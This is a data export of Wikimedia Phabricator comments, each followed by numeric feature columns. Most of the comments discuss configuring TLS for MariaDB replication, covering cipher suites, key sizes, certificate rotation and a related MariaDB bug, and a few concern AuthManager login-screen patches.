We can later tune more options.",,,1446237224,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,4.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,9.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,3.893617021276596,0.8297872340425532,"The puppetization tasks are trivial, but they cannot be done until the previous problem is solved.
* Modify /etc/my.cnf

on the [client] section:

``CODE`CODE`CODE`CODE`CODE``

We can later tune more options."
555670,Set up TLS for MariaDB replication,"I wanted to setup an operational test with 1 time certs and keys, not for production usage, but to observe operational issues and performance.

This resulted in a great idea, as it gave me 2 insights:

* I confirmed my suspicions of requiring a mysql restart to enable SSL. This is an inconvenience, but not a huge blocker. It will delay, however, its application to the 5.5 masters.
* We hit a recent bug by which [[ https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=788905 | mysql and mariadb has hardcoded 512-sizedh ephemeral keys ]], making it incompatible with our version of openssh (see linked debian report) This has been solved in [[ https://mariadb.atlassian.net/browse/MDEV-8352 | 5.5.45, 5.6.26, 5.7.6 ]] and [[ http://bugs.mysql.com/bug.php?id=77275 | MariaDB 10.0.21 ]]. This is a more complex task, we will see what is the best course if action but it will probably require a full fleet update to 10.0.21/10.0.22.",,,1446236754,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,0.5,1.0,5.5,1.5,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,3.5,0.0,2.5,8.0,0.0,1.5,0.0,0.0,0.0,2.5,1.5,0.5,0.0,0.0,1.5,0.0,3.0,1.5,2.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,5.0,2.0,7.0,0.5,3.5,8.0,0.0,0.0,0.0,0.0,3.5,0.0,4.5,0.0,6.5,8.0,3.0,0.0,0.0,0.0,6.5,0.0,1.0,4.0,0.5,1.0,0.5,0.5,1.5,3.7272727272727275,0.7215909090909092,"I wanted to setup an operational test with 1 time certs and keys, not for production usage, but to observe operational issues and performance.

This resulted in a great idea, as it gave me 2 insights:

* I confirmed my suspicions of requiring a mysql restart to enable SSL. This is an inconvenience, but not a huge blocker. It will delay, however, its application to the 5.5 masters.
* We hit a recent bug by which [[ URL | mysql and mariadb has hardcoded 512-sizedh ephemeral keys ]], making it incompatible with our version of openssh (see linked debian report) This has been solved in [[ URL | 5.5.45, 5.6.26, 5.7.6 ]] and [[ URL | MariaDB 10.0.21 ]]. This is a more complex task, we will see what is the best course if action but it will probably require a full fleet update to 10.0.21/10.0.22."
550425,Set up TLS for MariaDB replication,"For the cipher we might want to start with ECDHE-RSA-AES128-GCM-SHA256. ECDHE-ECDSA-AES128-GCM-SHA256 might be an alternate option if we want to try EC keys. We only need to pick the best cipher, instead of having a long list of acceptable ones as we configure and control both end points at the same time.

Using an ECDSA private key instaed of RSA might be worthwhile if one is concerned about performance of connection setup. Which I'm not in this case. I see no way to configure the curves for EC nor the key size for forward secrecy in mysql. To mitigate the later a bit we should avoid ciphers with DHE. (Wouldn't it be nice if the defaults of openssl were good? Also still no good curves in openssl :( .) To push everything to 265bit security seems to require patching openssl or how it is used, but I haven't looked at the code.

>>! In T111654#1737846, @jcrespo wrote:
> * Recommended cipher and key length (I suppose 2048), that we use for other production services (I assume `ssl_cipher=TLSv1.2`, which limits them to the ones of the 1.2 version).

ECDHE-RSA-AES128-GCM-SHA256 with minimum RSA key size 2k, better 4k.

> * Expiration time? Replication will break when expired.

Depends on the key rotation time. If rotation is done yearly then perhaps 3 month more then when rotation is expected to be done. It would be better to do this more often because with routine it would be less likely to cause problems. We have the technical ability to reduce key rotation to one script.

It is worthwhile to architect it so that you can trust two sets of keys at the same time, so that a rotation can happen seamlessly.

I see in your script that you used a CA. How will you handle revocation? The alternative to that would be to distribute the self-signed certificate for every private key and revocation would be removing that certificate via puppet.

> * Should we generate a client certificate for every single client (please note that clients are not authenticated using the certs, they continue using passwords, but maybe they could be blacklisted)?

Then no. Only makes sense if it is used to replace passwords.


>>! In T111654#1741116, @Dzahn wrote:
> can we first see with cipher_list which are available?

Tried that while using an unencrypted connection, it is empty. Should be everything that openssl provides.",,,1445525499,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,16,True,0.25,0.5,0.0,1.25,0.75,6.5,2.5,0.25,0.0,1.25,1.5,0.75,0.0,0.5,0.0,2.5,0.0,5.5,14.0,0.5,3.5,0.5,0.75,0.0,0.75,0.25,0.0,0.0,1.25,1.5,0.0,4.75,1.0,2.0,0.0,1.0,0.25,0.25,0.25,0.25,0.5,0.0,0.25,3.0,0.0,1.75,0.25,0.0,0.0,13.25,0.25,1.75,0.5,0.5,0.0,0.0,0.0,0.25,0.0,0.0,0.75,0.25,0.0,0.0,0.0,0.0,0.0,5.0,4.25,12.75,4.0,1.25,7.25,0.0,0.0,0.0,0.0,6.75,0.25,1.5,0.0,5.75,14.0,5.0,0.5,0.0,0.0,5.75,0.0,1.25,1.75,0.0,1.25,1.5,0.25,0.0,3.8406625859106525,0.6976750429553263,"For the cipher we might want to start with ECDHE-RSA-AES128-GCM-SHA256. ECDHE-ECDSA-AES128-GCM-SHA256 might be an alternate option if we want to try EC keys. We only need to pick the best cipher, instead of having a long list of acceptable ones as we configure and control both end points at the same time.

Using an ECDSA private key instaed of RSA might be worthwhile if one is concerned about performance of connection setup. Which I'm not in this case. I see no way to configure the curves for EC nor the key size for forward secrecy in mysql. To mitigate the later a bit we should avoid ciphers with DHE. (Wouldn't it be nice if the defaults of openssl were good? Also still no good curves in openssl :( .) To push everything to 265bit security seems to require patching openssl or how it is used, but I haven't looked at the code.

QUOTE
QUOTE

ECDHE-RSA-AES128-GCM-SHA256 with minimum RSA key size 2k, better 4k.

QUOTE

Depends on the key rotation time. If rotation is done yearly then perhaps 3 month more then when rotation is expected to be done. It would be better to do this more often because with routine it would be less likely to cause problems. We have the technical ability to reduce key rotation to one script.

It is worthwhile to architect it so that you can trust two sets of keys at the same time, so that a rotation can happen seamlessly.

I see in your script that you used a CA. How will you handle revocation? The alternative to that would be to distribute the self-signed certificate for every private key and revocation would be removing that certificate via puppet.

QUOTE

Then no. Only makes sense if it is used to replace passwords.


QUOTE
QUOTE

Tried that while using an unencrypted connection, it is empty. Should be everything that openssl provides."
549536,Set up TLS for MariaDB replication,"https://mariadb.com/kb/en/mariadb/mysql_get_ssl_cipher/

https://mariadb.com/kb/en/mariadb/mysql_ssl_set/

https://mariadb.com/kb/en/mariadb/ssl-status-variables/#ssl_cipher_list

can we first see with cipher_list which are available?",,,1445406240,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,19.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8125,0.75,"URL

URL

URL

can we first see with cipher_list which are available?"
549533,Set up TLS for MariaDB replication,">>! In T111654#1737846, @jcrespo wrote:
> * (I assume `ssl_cipher=TLSv1.2

actually, a value TLSv1.2 i would expect for ssl_protocols vs. ssl_cipher. and then a list of ciphers for ssl_cipher.
compared to Apache:

```

212       when 'strong' then
213         output.push('ssl_protocols TLSv1.2;')

```

```
 79     'strong' => [
 80       '-ALL',
 81       'ECDHE-ECDSA-AES128-GCM-SHA256',
 82       'ECDHE-RSA-AES128-GCM-SHA256',
 83       'DHE-RSA-AES128-GCM-SHA256',
...
```",,,1445405845,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.6666666666666666,"QUOTE
QUOTE"
549531,Set up TLS for MariaDB replication,">>! In T111654#1737846, @jcrespo wrote:
> * Recommended cipher and key length (I suppose 2048), that we use for other production services (I assume `ssl_cipher=TLSv1.2`,

When comparing this to our standards in Apache (`/modules/wmflib/lib/puppet/parser/functions/ssl_ciphersuite.rb)`, yes we only want TLSv1.2 (if we can and have no reason to set it to compat mode as opposed to ""strong""). See code snippet below:

```
195       when 'strong' then
196         output.push('SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1')
197       else
198         output.push('SSLProtocol all -SSLv2 -SSLv3')

```

And yes, i also suppose key length 2048 per former comments from Faidon and Brandon about performance.",,,1445405490,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,5.0,0.0,5.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,3.0,4.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,4.0,3.0,0.0,0.0,0.0,0.0,4.0,3.0,1.0,0.0,7.0,14.0,8.0,0.0,3.0,0.0,7.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.547945205479452,0.7671232876712328,"QUOTE
QUOTE

When comparing this to our standards in Apache (CODE, yes we only want TLSv1.2 (if we can and have no reason to set it to compat mode as opposed to ""strong""). See code snippet below:

``CODE``

And yes, i also suppose key length 2048 per former comments from Faidon and Brandon about performance."
549530,Set up TLS for MariaDB replication,">>! In T111654#1737846, @jcrespo wrote:
> * Recommended cipher and key length (I suppose 2048), that we use for other production services (I assume `ssl_cipher=TLSv1.2`,

When comparing this to our standards in Apache (`/modules/wmflib/lib/puppet/parser/functions/ssl_ciphersuite.rb)`, yes we only want TLSv1.2 (if we can and have no reason to set it to compat mode as opposed to ""strong""). See code snippet below:

And yes, i also suppose 2048 per former comments from Faidon and Brandon about performance.

```
195       when 'strong' then
196         output.push('SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1')
197       else
198         output.push('SSLProtocol all -SSLv2 -SSLv3')

```",,,1445405451,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,6.0,0.0,6.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,3.0,4.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,4.0,3.0,0.0,0.0,0.0,0.0,4.0,3.0,1.0,0.0,7.0,14.0,8.0,0.0,3.0,0.0,7.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5211267605633805,0.7605633802816901,"QUOTE
QUOTE

When comparing this to our standards in Apache (CODE, yes we only want TLSv1.2 (if we can and have no reason to set it to compat mode as opposed to ""strong""). See code snippet below:

And yes, i also suppose 2048 per former comments from Faidon and Brandon about performance.

``CODE``"
549529,Set up TLS for MariaDB replication,">>! In T111654#1737846, @jcrespo wrote:
> * Recommended cipher and key length (I suppose 2048), that we use for other production services (I assume `ssl_cipher=TLSv1.2`,

When comparing this to our standards in Apache (/modules/wmflib/lib/puppet/parser/functions/ssl_ciphersuite.rb), yes we only want TLSv1.2 (if we can and have no reason to set it to compat mode as opposed to ""strong""). See code snippet below:

And yes, i also suppose 2048 per former comments from Faidon and Brandon about performance.

```
195       when 'strong' then
196         output.push('SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1')
197       else
198         output.push('SSLProtocol all -SSLv2 -SSLv3')

```",,,1445405405,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,5.0,0.0,5.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,2.0,4.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,6.0,12.0,11.0,0.0,2.0,0.0,6.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.6785714285714284,0.7380952380952381,"QUOTE
QUOTE

When comparing this to our standards in Apache (/modules/wmflib/lib/puppet/parser/functions/ssl_ciphersuite.rb), yes we only want TLSv1.2 (if we can and have no reason to set it to compat mode as opposed to ""strong""). See code snippet below:

And yes, i also suppose 2048 per former comments from Faidon and Brandon about performance.

``CODE``"
548899,Set up TLS for MariaDB replication,"Change 247542 had a related patch set uploaded (by Jcrespo):
[WIP] Script to genereate openssh TLS keys for mysql replication

[[https://gerrit.wikimedia.org/r/247542]]
",,,1445340176,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,3.875,0.84375,"Change 247542 had a related patch set uploaded (by Jcrespo):
[WIP] Script to genereate openssh TLS keys for mysql replication

[[GERRIT_URL]]
"
548893,Set up TLS for MariaDB replication,"So, I have some questions here for the TLS experts:

* Recommended cipher and key length (I suppose 2048), that we use for other production services (I assume `ssl_cipher=TLSv1.2`, which limits them to the ones of the 1.2 version).
* Expiration time? Replication will break when expired.
* Should we generate a client certificate for every single client (please note that clients are not authenticated using the certs, they continue using passwords, but maybe they could be blacklisted)?
* Any ""best practices"" for generating the private keys?

Generating and distributing the keys is the only thing that is ""complex"", mysql configuration is trivial after this: https://www.percona.com/blog/2013/06/22/setting-up-mysql-ssl-and-secure-connections/",,,1445339613,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,15,True,2.0,0.0,0.0,1.5,0.5,5.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,2.0,3.0,5.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,6.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,2.0,0.0,3.0,0.0,0.5,0.0,0.5,1.0,11.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,5.0,3.5,7.0,1.5,2.0,8.0,0.0,0.0,0.0,0.0,2.5,0.5,1.0,0.0,4.5,5.5,1.0,2.0,3.0,0.0,4.5,0.0,1.5,0.5,0.5,3.5,0.0,0.5,0.0,4.097014925373134,0.7761194029850746,"So, I have some questions here for the TLS experts:

* Recommended cipher and key length (I suppose 2048), that we use for other production services (I assume CODE, which limits them to the ones of the 1.2 version).
* Expiration time? Replication will break when expired.
* Should we generate a client certificate for every single client (please note that clients are not authenticated using the certs, they continue using passwords, but maybe they could be blacklisted)?
* Any ""best practices"" for generating the private keys?

Generating and distributing the keys is the only thing that is ""complex"", mysql configuration is trivial after this: URL"
548891,Set up TLS for MariaDB replication,"So, I have some questions here for the TLS experts:

* Recommended cipher and key length (I suppose 2048), that we use for other production services (I assume `ssl_cipher=TLSv1.2`, which limits them to the ones of the 1.2 version).
* Expiration time? Replication will break when expired.
* Should we generate a client certificate for every single client (please note that clients are not authenticated using the certs, they continue using passwords, but maybe they could be blacklisted)?
* Any ""best practices"" for generating the private keys?",,,1445339527,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,15,True,2.5,0.0,0.0,2.0,1.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,3.5,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,2.5,0.0,2.5,0.0,0.0,0.0,0.0,1.5,10.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,6.5,2.5,1.5,7.0,0.0,0.0,0.0,0.0,3.5,1.0,1.0,0.0,5.0,5.0,1.0,2.5,2.0,0.0,5.0,0.0,1.5,1.0,0.5,2.5,0.0,1.0,0.0,4.045454545454546,0.8181818181818182,"So, I have some questions here for the TLS experts:

* Recommended cipher and key length (I suppose 2048), that we use for other production services (I assume CODE, which limits them to the ones of the 1.2 version).
* Expiration time? Replication will break when expired.
* Should we generate a client certificate for every single client (please note that clients are not authenticated using the certs, they continue using passwords, but maybe they could be blacklisted)?
* Any ""best practices"" for generating the private keys?"
523662,Set up TLS for MariaDB replication,"@faidon Yes, replication over SSL has negligible cost due to usually maintaining 1 single open connection all the time. Probably the only time blocker would be potentially having to restart the MySQLs, but that is a no-problem for the eqiad-codfw link. 

I am also assuming that parser caches would be always local, T111777, avoiding cross-datacenter client traffic.

PS: When I use SSL, of course I mean TLS. Our version supports TLS 1.2.",,,1441824131,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,9,True,1.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,7.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,16.0,2.0,1.0,9.0,0.0,0.0,0.0,0.0,3.0,1.0,2.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,4.0,0.0,1.0,0.0,4.0989010989010985,0.7472527472527473,"SCREEN_NAME Yes, replication over SSL has negligible cost due to usually maintaining 1 single open connection all the time. Probably the only time blocker would be potentially having to restart the MySQLs, but that is a no-problem for the eqiad-codfw link. 

I am also assuming that parser caches would be always local, T111777, avoiding cross-datacenter client traffic.

PS: When I use SSL, of course I mean TLS. Our version supports TLS 1.2."
521887,Set up TLS for MariaDB replication,"Definitely cross-DC links, unsure about the rest. I'd like to see the performance impact on our own first anyway — the data we have from the HTTPS transition suggests that the overhead was negligible, as long as the systems were modern enough (CPUs having AES-NI etc.) and we stick to 2048-bit RSA.

Also note that the article you pointed to is mainly talking about the cost of establishing a connection, which is, indeed, higher. This ticket isn't for MediaWiki->MariaDB TLS (which is an entirely different topic altogether), it's for the MariaDB replication traffic which AIUI is all over long-lived connections.",,,1441619890,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,9,True,1.0,0.0,1.5,0.0,1.0,5.5,3.5,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,2.0,1.0,9.0,9.0,0.0,1.5,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.5,6.5,2.0,1.0,0.5,1.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.5,10.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,5.0,9.0,1.5,0.5,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,3.5,9.0,4.0,0.0,0.0,0.0,3.5,0.0,2.5,1.5,0.0,2.0,1.0,0.0,1.0,4.065104166666666,0.7951388888888888,"Definitely cross-DC links, unsure about the rest. I'd like to see the performance impact on our own first anyway — the data we have from the HTTPS transition suggests that the overhead was negligible, as long as the systems were modern enough (CPUs having AES-NI etc.) and we stick to 2048-bit RSA.

Also note that the article you pointed to is mainly talking about the cost of establishing a connection, which is, indeed, higher. This ticket isn't for MediaWiki->MariaDB TLS (which is an entirely different topic altogether), it's for the MariaDB replication traffic which AIUI is all over long-lived connections."
521883,Set up TLS for MariaDB replication,"Definitely cross-DC links, unsure about the rest. I'd like to see the performance impact on our own first anyway — the data we have from the HTTPS transition suggests that the overhead was negligible, as long as the systems were modern enough (CPUs having AES-NI etc.).",,,1441619780,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,5.0,0.0,9.0,10.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,12.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,10.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.8620689655172415,0.8275862068965517,"Definitely cross-DC links, unsure about the rest. I'd like to see the performance impact on our own first anyway — the data we have from the HTTPS transition suggests that the overhead was negligible, as long as the systems were modern enough (CPUs having AES-NI etc.)."
521882,Set up TLS for MariaDB replication,"@faidon Are you suggesting encrypting WAN links or all of them? Because all of them has a price, and should be provisioned adequately: https://www.percona.com/blog/2013/10/10/mysql-ssl-performance-overhead/",,,1441619651,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,9,True,7.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,19.0,4.0,7.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,11.0,4.0,4.0,0.0,0.0,11.0,0.0,0.0,4.0,7.0,7.0,0.0,0.0,0.0,4.407407407407407,0.8888888888888888,"SCREEN_NAME Are you suggesting encrypting WAN links or all of them? Because all of them has a price, and should be provisioned adequately: URL"
111483,AuthManager should retain the MobileFrontend watermark at the top of the login screen,See parent task and T110431#1604967. Might well be a no-op now that it doesn't replace the login form.,Medium,50.0,1441335172,1463501427.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-TASK-sunkwhv6zux324uftthu,task_description,resolved,True,c3,3,True,False,False,9,True,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,13.0,4.0,4.0,9.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6956521739130435,0.9565217391304348,See parent task and T110431#1604967. Might well be a no-op now that it doesn't replace the login form.
685913,AuthManager should retain the MobileFrontend watermark at the top of the login screen,"Change 296508 merged by jenkins-bot:
Update for AuthManager

[[https://gerrit.wikimedia.org/r/296508]]",,,1467184481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sunkwhv6zux324uftthu,task_subcomment,,True,c3,3,False,,,51,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.8333333333333335,0.8888888888888888,"Change 296508 merged by jenkins-bot:
Update for AuthManager

[[GERRIT_URL]]"
685907,AuthManager should retain the MobileFrontend watermark at the top of the login screen,"Change 296508 had a related patch set uploaded (by Gergő Tisza):
Update for AuthManager

[[https://gerrit.wikimedia.org/r/296508]]
